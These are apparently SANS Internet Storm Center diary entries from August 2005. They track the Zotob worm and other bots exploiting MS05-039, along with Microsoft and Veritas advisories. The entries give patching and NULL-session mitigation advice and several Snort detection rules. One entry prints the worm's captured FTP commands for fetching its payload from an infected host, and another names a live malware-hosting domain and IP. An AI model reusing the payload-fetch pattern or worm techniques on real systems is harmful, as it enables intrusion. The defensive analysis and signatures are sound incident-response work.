Another PnP worm on the loose...

CNN reported a worm outbreak this afternoon involving their network, ABCNews, NYTimes, as well as Capitol Hill.

Information is still flowing on this situation, but here's what we have so far:

Symantec just released info on the W32.Zotob.E worm
.

Trend Micro also released information under WORM_RBOT.CBQ.

McAfee released information as well:

This is an IRC bot worm, and will scan for TCP port 445, and for file shares. McAfee reports in it's bulletin that systems not patched for MS05-039 will continually reboot.

It exploits known vulnerabilities, and the patch is available from microsoft here:


More updates coming as we analyze and gather more information!

A few words from the Microsoft Security Response Center

Mike from the MSRC sent an e-mail with "clarification regarding changing the default setting of NULL sessions and what the impact of changing these settings does to the threat profile of the PnP vulnerability addressed in MS05-039"



The information has been published in the updated yesterday.



Take note of the section on mitigating factors.



Mike also mentioned that the McD's Bomber Message Malware mentioned in is exploiting the vulnerability that is patched with

Reader Mailbag

Kerry Tyler, a self described "Windows Server Wrench" offered the following:



I just wanted to drop a note of thanks for this weekend's coverage of the MS05-039 fun. I came back to the office from lunch on Friday to a blinky green globe in my System Tray--perfect timing to remind me that we still have a couple of stragling Windows 2000 Servers around that needed patched RIGHT THEN, no waiting until our usual Sunday morning patching with the 2K3 boxes. Disaster mostly averted, only held up by crappy Change Management procedures. (had one machine get hit, but mosly a failed exploit attempt, as they did cause the machine to restart)



Many thanks on a job well done, and glad to see some yellow--keeps us on our toes! ;-)



I think Josh summed it up best in his reply ..



I can't speak for the other handlers, but I believe the consensus
opinion would be that it's messages like this one that motivates us to
do what we do. Thank you for your note, and I'm glad you were able to
avert disaster. :)

Back to InfoCon Green

As Johannes mentioned yesterday, we are back to green. As his addition to the diary is still relevant, it bears repeating.



As of Tuesday, 1:45 AM GMT (Monday 20:45 EDT), we moved back to infocon green.



We moved to 'Yellow' on Friday, after we did see a number of exploits released for last weeks Microsoft Windows vulnerabilities, in particular MS05-039 (PnP) which is exploitable remotely.



As expected, we did see various bots, in particular 'Zotob' take advantage of this vulnerability. At this point, the situation is however static. New bot variations keep getting developed, but they do not add any fundamental new variation of the exploit. We expect that most exploitable systems have been compromised at this point.



The last week showed once more that there is no more patch window. Defense in depth is your only chance to survive the early release of malware. In this particular case, three distinct best practices can mitigate the vulnerability:
- close port 445 at least at the perimeter.

- patch systems quickly.

- eliminate NULL sessions.
Neither one of these measures is perfect, and some may not be applicable to your network (e.g. you may require NULL sessions in some circumstances).



Another development brought to conclusion in this event is the lesser importance of 'worms' with respect to more sophisticated 'bots'. We received a number of bots using the PnP vulnerability. Antivirus scanners did not identify most of them. In many cases, the same bot was packed differently or some function where added to evade detection.



Malware can only develop as fast as it is developing in this case because of extensive code sharing in the underground. The only way we can keep up with this development is by sharing information as efficiently. Being able to do so openly will make it only easier to do this sharing. Please join our effort, and share future observations with us. We will continue to turn them over quickly and make them available via out diaries for everybody to read and to learn from.



I would like to thank in particular handlers Lorna and Tom for their extensive analysis of all the malware submitted.



Yes, the Internet is still "broken", but it was never working all that well to begin with. The Infocon is intended to measure change. We can't stay on yellow for ever.



Johannes Ullrich.

Apple Patches

With all the attention on MS05-039 Apple released a few yesterday for 10.3.9 and 10.4.2 client and server.



Affected components vary by software version but include:


Client:


AppKit

BlueTooth

CoreFoundation

cups

Directory Services

HIToolBox

Kerberos

loginwindow

Mail

OpenSSL

QuartzComposerScreenSaver

Security Interface

Safari

X11

zlib


Server:


apache2

AppKit

blojsom

BlueTooth

CoreFoundation

cups

Directory Services

HIToolBox

Kerberos

loginwindow

Mail

OpenSSL

QuartzComposerScreenSaver

Security Interface

servermgrd

servermgr_ipfilter

SquirrelMail

Safari

X11

zlib





isc dot chris at gmail dot com

Handler on Duty

A word from the Microsoft Security Response Center

Mike from the MSRC sent an e-mail with "clarification regarding changing the default setting of NULL sessions and what the impact of changing these settings does to the threat profile of the PnP vulnerability addressed in MS05-039"

The information has been published in the updated earlier today.

Take note of the section on mitigating factors.

Thanks Mike.

Back to InfoCon Green

As of Tuesday, 1:45 AM GMT (Monday 20:45 EDT), we moved back to infocon green.

We moved to 'Yellow' on Friday, after we did see a number of exploits released for last weeks Microsoft Windows vulnerabilities, in particular MS05-039 (PnP) which is exploitable remotely.

As expected, we did see various bots, in particular 'Zotob' take advantage of this vulnerability. At this point, the situation is however static. New bot variations keep getting developed, but they do not add any fundamental new variation of the exploit. We expect that most exploitable systems have been compromised at this point.

The last week showed once more that there is no more patch window. Defense in depth is your only chance to survive the early release of malware. In this particular case, three distinct best practices can mitigate the vulnerability:
- close port 445 at least at the perimeter.

- patch systems quickly.

- eliminate NULL sessions.
Neither one of these measures is perfect, and some may not be applicable to your network (e.g. you may require NULL sessions in some circumstances).
Another development brought to conclusion in this event is the lesser importance of 'worms' with respect to more sophisticated 'bots'. We received a number of bots using the PnP vulnerability. Antivirus scanners did not identify most of them. In many cases, the same bot was packed differently or some function where added to evade detection.
Malware can only develop as fast as it is developing in this case because of extensive code sharing in the underground. The only way we can keep up with this development is by sharing information as efficiently. Being able to do so openly will make it only easier to do this sharing. Please join our effort, and share future observations with us. We will continue to turn them over quickly and make them available via out diaries for everybody to read and to learn from.
I would like to thank in particular handlers Lorna and Tom for their extensive analysis of all the malware submitted.
Yes, the Internet is still "broken", but it was never working all that well to begin with. The Infocon is intended to measure change. We can't stay on yellow for ever.

Johannes Ullrich.

McD's Bomber Message Malware

We've had several reports from folks reporting receipt of messages with the subject line "McDonald's bomber jailed for life". This message includes a link to various sites with the common domain lastrez_DONOTCLICK_.com. (_DONOTCLICK_ added for emphasis!)


Visiting the site redirects to a page "mc.html" on the same site that attempts to exploit the MS05-038 bug, creating a file called w.hta. Handler David Goldsmith has called upon the Yesnic registry to stop resolving this domain, and the China-Netcom ISP to stop hosting this site, but at the time of this writing, the site is still operational. Organizations may want to consider blocking the site at 210.22.50.80 to prevent click-happy users from infecting their systems.

Zotob Update

New and improved Zotob(?): Now with mass mailer. Our malware team (mostly Tom and Lorna) are faced with an increasing flood of PNP bots and worms. The
most recent one looks like a Zotob. However, it does include a mass mailer.

This Zotob variant connects to the same IRC server as others, but to a different channel. Strings taht are likely to be used in the Subject line for e-mail sent by this variant: Warning!!, **Warning**, Hello, Confirmed..., Important!, We found a photo of you in ..., That's your photo!!?, Hey!!, OK here is it!. The attachemnet included in the email looks like a zip file.

Other notable strings:
Botzor2 pnp+asn+mail spread. Greetz to good friend Coder. Based On HellBot3. f-secure,sophos ok wait bitchs!!!

URLs set to 127.0.0.1 via the hosts file: most AV vendors and paypal, moneybookers, ebay and amazon.com.

More MS05-039 fun'ness

Over the course of the day we've seen what appears to be more than a handful of new bots exploiting the PnP bug (Note: PnP is not the same as UPnP, and we wonder who thought adding network-aware capabilities to PnP was a good idea). While TCP/445 scanning hasn't increased significantly, it's always a popular target, so we assume attackers are exploiting pre-populated lists of TCP/445 targets now that a "dot-slash" exploit is readily available and reliable.


Part of the uptick in compromises is likely due to existing bots being configured with the new PnP exploit code, highlighting the "blended threat" problem. Existing malware that has been making the rounds for a while receives a new breath of life when new exploit code becomes available, turning up lots of compromised systems.


A few salient points regarding the current PnP attack threat:


+ There are lots of additional 'bots' in addition to Zotob, directly targeting systems or making use of prepopulated target lists;

+ Ensure all systems have NULL session disabled to block the current threats;

+ Block TCP/445 ingress and egress whenever possible to stop incoming attacks, and to detect infected systems leaving your network;

+ Do not rely on TCP/33333 FTP service detection to identify compromised systems as this port is not used consistently in later bot variants;

+ Ensure AV signatures are up-to-date;

+ Patch!

New Zotob variant (Zotob.b)

F-Secure is reporting a new variant in the Zotob worm currently exploiting the PnP vulnerability addressed in MS05-039. The Zotob.B variant uses the same ports (TCP/445 for scanning, TCP/8888 command shell on exploited systems, TCP/33333 for FTP server) as the previous variant, but uses the executable name "csm.exe" with the description "csm Win Updates" in the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices to load the worm when the system boots. The Zotob.A uses the executable name "botzor.exe" in the same registry key.



It is not believed that Zotob.B worm possesses any additional characteristics that would make it more of a threat compared to Zotob.A.



Links:


http://www.f-secure.com/v-descs/zotob_a.shtml

http://www.f-secure.com/v-descs/zotob_b.shtml

Zotob affecting some XP SP2/2003?

Reader Samuli writes in (thanks Samuli!) pointing out that the houseofdabus code used in the Zotob worm to exploit the Microsoft PnP vulnerability addresses in MS05-039 relies on NULL sessions to exploit the target system. Default installations of Windows XP SP2 and Windows 2003 do not have NULL sessions enabled, and thus are not affected by the worm. However, some server roles may require administrators to enable NULL session functionality, such as legacy domain controllers, Microsoft Exchange servers, Microsoft SQL Servers, etc. If you have permitted NULL session access on your managed systems, you may be at risk of infection by one of the Zotob variants.




Administrators can check their Windows XP SP2 systems to identify if NULL sessions are disabled by checking the registry entry HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymoussam, ensuring it is enabled (1). Note that the registry key "restrictanonymous" refers to the ability to anonymously enumerate shares on the system, and does not grant the ability to enumerate user accounts. If you're checking your systems, you may want to set both parameters to enabled to prevent an anonymous attacker from enumerating shares on your system, although this will require testing to ensure it does not break valid applications.




Update: Reader Chuck Croll writes in with the following comments regarding disabling anonymous share browsing:


"Note that if you enable blocking of anonymous share enumeration, by setting HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous to "1", you will break Windows Networking, ie the ability for the browser subsystem to enumerate servers in Network Neighborhood.

A lot of people have no idea what the browser is, and when Network Neighborhood breaks, can't even describe it accurately."


All the more reason to test settings before applying them in a production environment! Thanks Chuck!



It is still vital that organizations apply the most recent patch updates from Microsoft to resolve several vulnerabilities in Windows. While the current Zotob worm may not be able to exploit default installations of Windows XP SP2 and Windows 2003, it certainly won't be long before there is a variant that won't have this limitation.



What's more, there appears to be some confusion with AV vendors as to the vulnerability of Windows 95/98/ME/NT4 systems.
Symantec claims that while these legacy operating systems cannot be infected (likely due to the fact that they aren't vulnerable to the PnP bug), they can be used as propogation vectors if the Zotob code is executed on the system. briefly mentions that Zotob runs on all of these Windows platforms, but does not provide additional information.



Links:





Paul Asadoorian from Brown University has written and maintains an excellent paper titled
. Thanks Paul!



-Joshua Wright/Handler-on-duty

-039 is NOT Microsoft's lucky number

One of our readers, John Smith, submitted this:

"Interesting game of numbers:

SQL Slammer was using bug fixed in MS02-039

Zotob is using bug fixed in MS05-039

Hex 39 is 57 decimal, which is big W (Worm? Windows?) in ASCII."

Update (2005-08-15@10:43UTC): hex 39 is ASCII "9", but hex 57 is ASCII "W". Maybe it's a conspiracy involving the American National Standards Institute (ANSI)? OK, maybe not. -Josh

The technical details:

Starting around 11:30 UTC, we've received several reports on a new worm variant that makes use of MS05-039 to spread. If you're not patched yet, this is your last call.

F-Secure named the critter "Zotob.A",http://www.f-secure.com/weblog/

We've also received a submission of a binary called "pnpsrv.exe", which is recognized by ClamAV as Trojan.Spybot-123. Another reader has contributed evidence that a successful exploit by Zotob.A (or variant)

The worm will download the main payload from the infecting machine. Once a machine is infected, it will become an ftp server itself. It will scan for open port 445/tcp. Once it finds a system with port 445 listening, it will try to use the PnP exploit to download and execute the main payload via ftp.

Important facts so far:
- Patch MS05-039 will protect you
- Windows XP SP2 and Windows 2003 can not be exploited by this worm, as the worm does not use a valid logon.
- Blocking port 445 will protect you (but watch for internal infected systems)
- The FTP server does not run on port 21. It appears to pick a random high port.


Quick FTP log:

  open aaa.bbb.ccc.ddd 31656  user 1 1  get winpnp.exe  quit  

(IP address obfuscated). We'll keep adding to this diary as new information becomes available.

Thanks so far to Johnathan Norman from for a lot of the details.
Other good information can be found at the F-Sececure weblog at http://www.f-secure.com/weblog/
Also see the Microsoft MS05-039 bulletin from last week: http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx Please submit any new code captures via our contact page:
http://isc.sans.org/contact.php
If possible, do not pack/encrypt the uploads, maybe provide an md5 sum to preserve the code in its original beauty.

Shown below are Snort rules, submitted by the members of the Alert Logic Security Research Team:
Jeremy Hewlett, Technical Director of Security Research
Johnathan Norman, Sr. Security Analyst
Chris Baker, Technical Director of Security Operations


alert tcp any any -> any 445 (msg:"EXPLOIT SMB-DS Microsoft Windows 2000 Plug and Play Vulnerability"; flow:to_server,established; content:"|FF|SMB%"; depth:5;offset:4; nocase; content:"|2600|"; depth:2; offset:65; content:"|67157a76|";reference:url,www.microsoft.com/technet/security/Bulletin/MS05-039.mspx; classtype:attempted-admin; sid:1000130; rev:1;)

alert tcp any any -> any 139 (msg:"EXPLOIT NETBIOS SMB Microsoft Windows 2000 PNP Vuln"; flow:to_server,established; content:"|FF|SMB%"; depth:5;offset:4; nocase; content:"|2600|"; depth:2; offset:65; content:"|3600|"; offset:110; within:5; content:"|F6387A76|";reference:url,www.microsoft.com/technet/security/Bulletin/MS05-039.mspx; classtype:attempted-admin; sid:1000131; rev:1;)

alert tcp any any -> any 445 (msg:"EXPLOIT NETBIOS SMB-DS Microsoft Windows 2000 PNP Vuln"; flow:to_server,established; content:"|FF|SMB%"; depth:5;offset: 4; nocase; content:"|2600|"; depth:2; offset:65; content:"|3600|"; offset:110; within:5; content:"|F6387A76|";reference:url,www.microsoft.com/technet/security/Bulletin/MS05-039.mspx; classtype:attempted-admin; sid:1000132; rev:1;)

----------------
Handlers contributing to this diary so far:
Daniel Weseman, Johannes Ullrich, Tony Carothers, William Salusky and Donald Smith.

PnP Worm Out

-------

Quick update: Several reports that the PNP (MS05-039) worm was released finally. We are just analyzing the code.

-------
We remain at infocon of yellow, but fortunately, we haven't yet seen any worms exploiting the vulnerabilities covered by last Tuesday's Microsoft bulletins. If things stay quiet through Sunday, we'll likely move back to green on Monday, but we reiterate our warning from yesterday, there are enough exploits for these vulnerabilities known to be in the wild that we believe it is only a matter of hours or at most days until they are integrated into a worm.

More thoughts on the current Veritas Backup Exec vulnerability

One of our readers (thanx, Frank) pointed out that although the bulletins concerning the Veritas Backup Exec vulnerabilities only mentioned the possibility of READING data from a vulnerable server, the nature of the NDMP protocol makes it likely that it could be exploited to WRITE data to a server as well. Several people have been working on proof of concept code today, so it probably won't be long before working exploits are in the wild for this one, too. We are hearing reports of exploit attempts in the wild. Again, see yesterday's diary for our recommendations, for blocking port 10000. Also, thanx to Juha-Matti, for pointing out that this vulnerability also exists not just in Backup Exec, but also in NetBackup for NetWare, as well. See the for further details.

Microsoft Update and Win2K3 w/o SP1

Another of our readers, Wolf, brought this issue to our attention. Some admins have chosen not to install Windows 2003 Server SP1 until issues have been worked out. This has led to a problem that the admins may not be aware of. If you use Microsoft Update and choose the Express (recommended) option, it will NOT show the July or August updates, you have to choose Custom updates in order to see them. This could be very dangerous as it may leave the admins believing their servers are current on patches when in fact they are exposed.

new gaim version

Users of the popular gaim multi-protocol instant messenger client are urged to upgrade to 1.5.0 immediately, since this version fixes 3 security bugs. See http://gaim.sourceforge.net/security/ for details.



---------------------

Jim Clausing, jclausing_at_isc.sans.org

Infocon: Yellow

Due to a number of very well working Windows exploits for this weeks patch
set, and the zero-day Veritas exploit, we decided to turn the infocon to yellow.

Advice: Use the weekend to patch ALL WINDOWS SYSTEMS. It may be worthwhile to
consider accelerated deployment of the patches even to critical systems if the
weekend is slow anyway. Backup Exec should be firewalled or disabled at this point.

Note: Consider unprotected internet facing machines infected at this point if they do not have this weeks patches applied. Patch and handle them with extra care.

Windows and Backup Exec exploits are out

In case you're waiting to see whether it's worth updating either
Windows or Veritas' Backup Exec, now's the time to do so. Live exploits
are out for both.

Specifically, MS05-039 appears to have 3 live exploits out for
it already, and Backup Exec has at least one exploit out.

We've said it already, but it's worth repeating - get those
patches in soon...

Which exploits are really out?

We've gotten a number of questions from readers about the
exploits we've mentioned over the past few days in the diary. Some of
them are publicly known and easily Google-able. Others are ones that
we've found out about from trusted sources that have asked us to not
share the exploit itself.

Because our goal is to provide timely alerts to the security
community, we generally don't provide the exploit code itself. If it
truly is publicly visible, you'll find it in a few minutes without our
help. And if the exploit is still generally private, we don't want to
be the conduit that accelerates attacks - people with lots of hat colors
read this diary. *smile*

Thanks for understanding.

NIST drafts

NIST has provided
security documents: Creating a Patch and Vulnerability Management
Program, Secure DNS Deployment Guide, Guide to Malware Incident
Prevention and Handling, Guide to Single-Organization IT Exercises,
Guide to Computer and Network Data Analysis: Applying Forensic
Techniques to Incident Response, and Codes for the Identification of
Federal and Federally-Assisted Organizations.

Preliminary Snort signatures for MS exploits

One reader was kind enough to forward some Snort signatures for
malware hitting the recently announced vulnerabilities. Credit for
these signatures goes to Blake Harstein at Demarc.

To not have the lines go on too long, the pcre's have been split
over multiple lines; everything from pcre: to /i"; needs to be
reassembled into one object with no spaces.

#These rules are separated for compatibility with Snort 2.3.3 (>850

#characters per line), If you are using Snort >2.4.0 you can safely

#combine these into a single rule 



alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"BLEEDING-EDGE

EXPLOIT CLSID Pattern Matched"; flowbits:isnotset,CLSID_DETECTED;

flow:established,from_server;

pcre:"/CLSID\s*\:(?=[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})/i";

flowbits:noalert; flowbits:set,CLSID_DETECTED; classtype:not-suspicious;

sid:2002174; rev:2;)



alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"BLEEDING-EDGE

EXPLOIT COM Object Instantiation Memory Corruption Vulnerability (group

1)"; flow:established,from_server; flowbits:isset,CLSID_DETECTED;

pcre:"/03D9F3F2-B0E3-11D2-B081-006008039BF0|860BB310-5D01-11D0-

BD3B-00A0C911CE86|E0F158E1-CB04-11D0-BD4E-00A0C911CE86|33D9A761-

90C8-11D0-BD43-00A0C911CE86|4EFE2452-168A-11D1-BC76-

00C04FB9453B|33D9A760-90C8-11D0-BD43-00A0C911CE86|33D9A762-

90C8-11D0-BD43-00A0C911CE86|083863F1-70DE-11D0-BD40-

00A0C911CE86|18AB439E-FCF4-40D4-90DA-F79BAA3B0655|31087270-

D348-432C-899E-2D2F38FF29A0|D2923B86-15F1-46FF-A19A-

DE825F919576|FD78D554-4C6E-11D0-970D-00A0C9191601|52CA3BCF-

3B9B-419E-A3D6-5D28C0B0B50C/i";

classtype:web-application-attack; reference:cve,2005-1990;

reference:url,www.microsoft.com/technet/security/Bulletin/MS05-038.mspx;

sid:2002171; rev:2;)



alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"BLEEDING-EDGE

EXPLOIT COM Object Instantiation Memory Corruption Vulnerability (group

2)"; flow:established,from_server; flowbits:isset,CLSID_DETECTED;

pcre:"/01E04581-4EEE-11D0-BFE9-00AA005B4383|AF604EFE-8897-11D1-B944-

00A0C90312E1|7849596A-48EA-486E-8937-A2A3009F31A9|FBEB8A05-BEEE-4442-

804E-409D6C4515E9|3050F391-98B5-11CF-BB82-00AA00BDCE0B|8EE42293-C315-

11D0-8D6F-00A0C9A06E1F|2A6EB050-7F1C-11CE-BE57-00AA0051FE20|510A4910-

7F1C-11CE-BE57-00AA0051FE20|6D36CE10-7F1C-11CE-BE57-

00AA0051FE20|860D28D0-8BF4-11CE-BE59-00AA0051FE20|9478F640-7F1C-11CE-

BE57-00AA0051FE20|B0516FF0-7F1C-11CE-BE57-00AA0051FE20|D99F7670-7F1A-

11CE-BE57-00AA0051FE20/i";

classtype:web-application-attack; reference:cve,2005-1990;

reference:url,www.microsoft.com/technet/security/Bulletin/MS05-038.mspx;

sid:2002172; rev:2;)



alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"BLEEDING-EDGE

EXPLOIT COM Object Instantiation Memory Corruption Vulnerability (group

3)"; flow:established,from_server; flowbits:isset,CLSID_DETECTED;

pcre:"/EEED4C20-7F1B-11CE-BE57-00AA0051FE20|C7B6C04A-CBB5-11D0-BB4C-

00C04FC2F410|85BBD920-42A0-1069-A2E4-08002B30309D|E846F0A0-D367-11D1-

8286-00A0C9231C29|B4B3AECB-DFD6-11D1-9DAA-00805F85CFE3|ECABB0BF-7F19-

11D2-978E-0000F8757E2A|466D66FA-9616-11D2-9342-0000F875AE17|67DCC487-

AA48-11D1-8F4F-00C04FB611C7|00022613-0000-0000-C000-

000000000046|D2D588B5-D081-11D0-99E0-00C04FC2F8EC|5D08B586-343A-11D0-

AD46-00C04FD8FDFF|CC7BFB42-F175-11D1-A392-00E0291F3959|CC7BFB43-F175-

11D1-A392-00E0291F3959|3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5/i";

classtype:web-application-attack; reference:cve,2005-1990;

reference:url,www.microsoft.com/technet/security/Bulletin/MS05-038.mspx;

sid:2002173; rev:2;) 

-- Handler on Duty,

ISCAlert has been activated (that blinking globe thing) to warn people about
MS05-039 related activity that may go critical over the weekend. Three
seperate exploits for the UPnP issue have been released over the last 24 hours.
Please patch your systems if you haven't already. Thank you.




FrSIRT has released an advisory containing what they call "Veritas Backup Exec Windows Agent Remote File Access Exploit (0day)"




The ISC has already seen an increase in scans for port 10000, and advise any users of Backup Exec deny access to that port from all untrusted networks. Frank Knobbe has made available a rough draft signature that may help identify attempts against B.E.:

alert tcp $EXTERNAL_NET any -> $HOME_NET 10000 (msg:"BLEEDING-EDGE Veritas \

Backup Exec Windows Agent Remote File Access Exploit"; \

flow:to_server,established; \

content:"|b4 b8 0f 26 20 5c 42 34 03 fc ae ee 8f 91 3d 6f|"; \

reference:url,www.frsirt.com/english/advisories/2005/1387; \

reference:url,www.frsirt.com/exploits/20050811.backupexec_dump.pm.php; \

classtype:string-detect; sid:2002176; rev:1;)

Thanks, Frank!

POC code available for multiple updated MS vulns

The vulnerabilities addressed in MS005-038, MS005-039, MS05-040 and MS-043, all covered in this month's Fat Tuesday festivities, AKA , have fallen victim already to publicly released exploits. Both bugtraq and Daily Dave have postings today announcing the availability of said code. Now, I haven't built or tested any of it, so I can't personally vouch for the effectiveness ot any of it, but if it isn't working as intended you can bet it will be shortly. Patch up, folks.

P2P on the Vista

We received some packets today from someone who was chomping at the bit to get his Windows Vista up and on the wire, and was in for an interesting surprise. After a short while, he was being barraged with a good number of UDP port 53186 packets from around the globe. A bit of digging gave me an education in Teredo - Microsoft's IPv6 over IPv4 encapsulation, discussed in: http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/teredo.mspx and RFC3904. Teredo's strength is it's ability to traverse NAT firewalls while maintaining the protections offered by IPv6, and it has been used to build tunnels for plenty of OSes and applications, including Windows P2P and especially the Peer Name Resolution Protocol, PRNP.



Gee, George, why do I care? Well, Tommy, there are wonderful things waiting just around the corner...let me show you.



From "Introduction to Windows Peer-to-Peer Networking":


"P2P PNRP uses multiple clouds, in which a cloud is a grouping of computers that use addresses of a specific scope. A scope is an area of the network over which the address is unique. PNRP clouds are based on the address scopes for IPv6 addresses."



Now, to test the scalability of some new PNRP features, Microsoft has decided to turn on prnpauto, or PNRP Auto Registration, by default in Vista beta. Boot up your shiny new Vista and a PNRP name gets generated & out goes the registration. Now come the name resolvers a-knockin'. Bingo! Instant anomaly IDS test!

If you aren't all too happy with this arrangement, feel free to kill it off using the Task Manager or "net stop pnrpauto". My advise is to do this before ever putting the box on the wire. Otherwise, it may take some time for the cloud to realize that you aren't playing anymore and the traffic will continue.



Many thanks to Noah Horton for helping the ISC get a handle on what was going on. He also made a blog entry discussing this a bit further at: http://blogs.msdn.com/noahh/

Cheers!

g

Patch Refresher

Okay, what else would follow a patch Tuesday, but a chaotic Wednesday. Just as a refresher on the patches were dealing with:

Bulletin   Severity    Impact



MS05-038   Critical    Elevation of Privilege                           

MS05-039   Critical    Remote Code Execution and                        

                       Elevation of Privilege                             

MS05-040   Important   Remote Code Execution

MS05-041   Moderate    Denial of Service                                

MS05-042   Moderate    Denial of Service,

                       Information Disclosure,

                       and Spoofing

MS05-043   Critical    Remote Code Execution                            

For a more in depth review, please see Cory's great diary from yesterday found at http://isc.sans.org/diary.php?date=2005-08-09

MS05-038 Issues

It seems that there are issues with downloading the MS05-038 patch and it appears as unavailable. Many thanks to Rick Hoppe who pointed us to the following information found at http://blogs.technet.com/msrc/default.aspx



"Not long after we released this morning, we found out that many of the digital signatures on some of the IE updates for MS05-038 were corrupted and were preventing install. This only impacts those downloading from the Download Center, not Windows Update, Microsoft Update, SUS, or WSUS. At least now we know what the problem is and it should be fixed soon. "

The message that I received when I tried to download it read:



"The download you requested is unavailable. If you continue to see this message when trying to access this download, go to the "Search for a Download" area on the Download Center home page."


We'll keep you posted as we learn more. It looks to be another interesting day in the world of network security.


Lorna Hutcheson

Handler on Duty

http://www.iss-md.com

Microsoft Security Bulletins for August

Happy Black Tuesday, kids! We've got six bulletins for your patching pleasure, so let's get right to it. We'll be updating this throughout the day as we have more time to intepret the bulletins and analyze the patches, but here's a quick overview to stave off the impending flood of "August MS Patches are ONLINE" emails. ;)



Update: We've got writeups on each patch below - expect more details to emerge over the next few days.

Bulletin   Severity    Impact



MS05-038   Critical    Elevation of Privilege                           

MS05-039   Critical    Remote Code Execution and                        

                       Elevation of Privilege                             

MS05-040   Important   Remote Code Execution

MS05-041   Moderate    Denial of Service                                

MS05-042   Moderate    Denial of Service,

                       Information Disclosure,

                       and Spoofing

MS05-043   Critical    Remote Code Execution                            

MS05-038: Arbitrary code execution vulnerabilities in Internet Explorer

Severity: Critical



CVE:



Affected Software:

* 2000 SP4

* XP, all Service Packs & platforms

* 2003, all Service Packs & platforms

* 98, 98SE, and ME



Affected Components:

* Internet Explorer 5.01 SP4 -> 6 Service Pack 1 on various Windows platforms



Supercedes:

* MS05-025

* MS05-037



fixes multiple vulnerabilities in Internet Explorer which can be exploited to run arbitrary code. Some of the fixed vulnerabilities have already been disclosed publicly.



Handler chatter:

The handlers are of the opinion that of the bulletins released today, this is the avenue most likely to be explored (or the avenue currently being explored) by purveyors of malware. While image rendering vulnerabilites have led to cacophonous cries of "The worms are coming! The worms are coming!" in the past, we believe that there is a far greater likelihood of these flaws being exploited to drop relatively immobile malcode: spyware, bots, and other decidedly non-viral badness.



Update: Minutes prior to posting this, proof of concept code for the latter of the three vulnerabilites covered under the 038 banner went public. Hope you're patched, or using something other than IE. ;)

MS05-039: Arbitrary code execution vulnerability in Plug and Play

Severity: Critical



CVE:



Affected Software:

* 2000 SP4

* XP, all Service Packs & platforms

* 2003, all Service Packs & platforms



fixes a vulnerability in Plug and Play which can be exploited to run arbitrary code. The risk presented by this vulnerability varies across different versions of Windows.



* On XP Service Pack 2 and 2003 Server systems, the vulnerability is ONLY exposed to an attacker logged on to the system locally.

* On XP Service Pack 1, the vulnerability is ALSO exposed to remote users with valid logon credentials.

* On Windows 2000 SP4 systems, this vulnerability can ALSO be exploited by anonymous attackers. A valid login is not required.



Handler chatter:

Users shouldn't face too much external exposure, as the exploitation vector in this case is the old Microsoft standard (TCP 139 & 445), but internal networks could be at risk. Based on the language in the bulletin and the , this vulnerability is a standard stack-based buffer overflow. Exploitation is described in the X-Force alert as "trivial."

MS05-040: Arbitrary code execution vulnerability in Windows Telephony Service

Severity: Important



CVE:



Affected Software:

* 2000 SP4

* XP, all Service Packs & platforms

* 2003, all Service Packs & platforms



fixes a vulnerability in Windows Telephony Service which can be remotely exploited to run arbitrary code. On 2000 Professional and XP (i.e. Microsoft's 'non-server' systems) this vulnerability is limited to a local privilege escalation. On Microsoft's server operating systems that are not actively running this service, this vulnerability is limited to a local privilege escalation. On Server 2003 the vulnerability is only exposed to authenticated users. This leaves 2000 Server as the most exposed in this case.



Handler chatter:

Since this vulnerability occurs in the Telephony Application Programming Interface (TAPI), many third party applications may be making use of this service without the user's or administrator's explicit knowledge. The service can be started by a non-privileged user. According to the bulletin, TAPI is used for any number of voice, data, and video communications, including but not limited to teleconferencing, caller-id features, voice mail, and more. Anyone using Windows-based software to perform any of these functions should probably place this one higher on the priority stack.

MS05-041: Denial of Service Vulnerability in Remote Desktop/Remote Assistance

Severity: Moderate



CVE:



Affected Software:

* 2000 SP4

* XP, all Service Packs & platforms

* 2003, all Service Packs & platforms



This update resolves a newly-discovered, privately-reported vulnerability. A vulnerability in the Remote Desktop Protocol (RDP) exists that could allow an attacker to cause a system to stop responding. The vulnerability is documented in the “Vulnerability Details” section of this bulletin.



Handler chatter:

MS labels this as moderate because remote desktop service (rdp or termina services) are not enabled by default. However many admins enable RDP for administration on and remote assistance requests expose this service until the request expires making the application of this patch essential for most environments. Additionally, there are circumstances where RDP is enabled by default; for example, in Media Center Editions of XP.



There was on this back in early July when this was released at the time the POC code was not public, it is public now though. There was some chatter on the indicating that this could possibly be leveraged into an exploit, but the nuances of Windows kernel exploitation are out of the reach of all but the Most High Hackers. eEye came out several weeks ago and nothing more. Who's right? Who knows. If it's not just a DoS it wouldn't be the first time an unexploitable DoS had been exploited.

MS05-042: Kerberos vulnerabilities

Severity: Moderate



CVE:



Affected Software:

* 2000 SP4

* XP, all Service Packs & platforms

* 2003, all Service Packs & platforms



Kerberos hitchhikes onto all windows active domains, it's not something optionally installed.



Microsoft dubbed the answer to all security bulletin '
Vulnerabilities in Kerberos could allow denial of service, Information disclosure and spoofing'.



This is actually a two vulnerabilities into one package deal: and .



CAN-2005-1981



Microsoft rates it as medium and states the worst thing that could happen is that the Active Domain would stop authenticating users. It seems to involve a well aimed packet at the domain controller, causing it to reboot after a one minute countdown.



Valid user credentials are required and windows 2000 and 2003 servers are affected.



Now we don't want the earth to get leveled but neither do we what the users whining about not being able to log in, do we? Add to that that rebooting servers are a real pain as well.



Shielding TCP and UDP port 88 from hostile networks might help 'till you get your towel and apply the patch.



CAN-2005-1982



If you use smart cards in your domain, it would mean you value security enough to deploy a two factor authentication. As such you're unlikely to really appreciate some monkey in the middle type attack that can happen if you have enabled smart card technology the way.



The impact can be very broad as the attacker (who needs a valid account with smart card) gains rights of others users.



Hence this really is for you if you use smart cards to authenticate your users on your windows domain.



Note: The Vogons point out there are no workarounds known to them, we'll take their word for it.

